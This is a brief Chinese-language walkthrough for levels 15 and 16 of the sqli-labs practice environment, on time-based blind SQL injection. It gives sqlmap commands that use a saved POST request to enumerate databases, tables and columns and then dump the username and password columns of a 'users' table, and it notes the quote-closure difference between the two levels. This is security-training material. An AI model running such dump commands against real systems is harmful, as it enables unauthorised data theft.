sqli-15-16

sqli-第15关-时间盲注

 时间盲注都是用工具的。手工太难了

将请求复制黏贴到txt，文件中

 sqlmap -r C:UsersAdministratorDesktoppost.txt --dbs

 sqlmap -r C:UsersAdministratorDesktoppost.txt -D "security" --tables -v 4

 

  sqlmap -r C:UsersAdministratorDesktoppost.txt -D "security" -T "users" --columns -v 4

   sqlmap -r C:UsersAdministratorDesktoppost.txt -D "security" -T "users" -C "password,username" --dump

 十五关和十六关的差距是'单引号闭合和")双引号闭合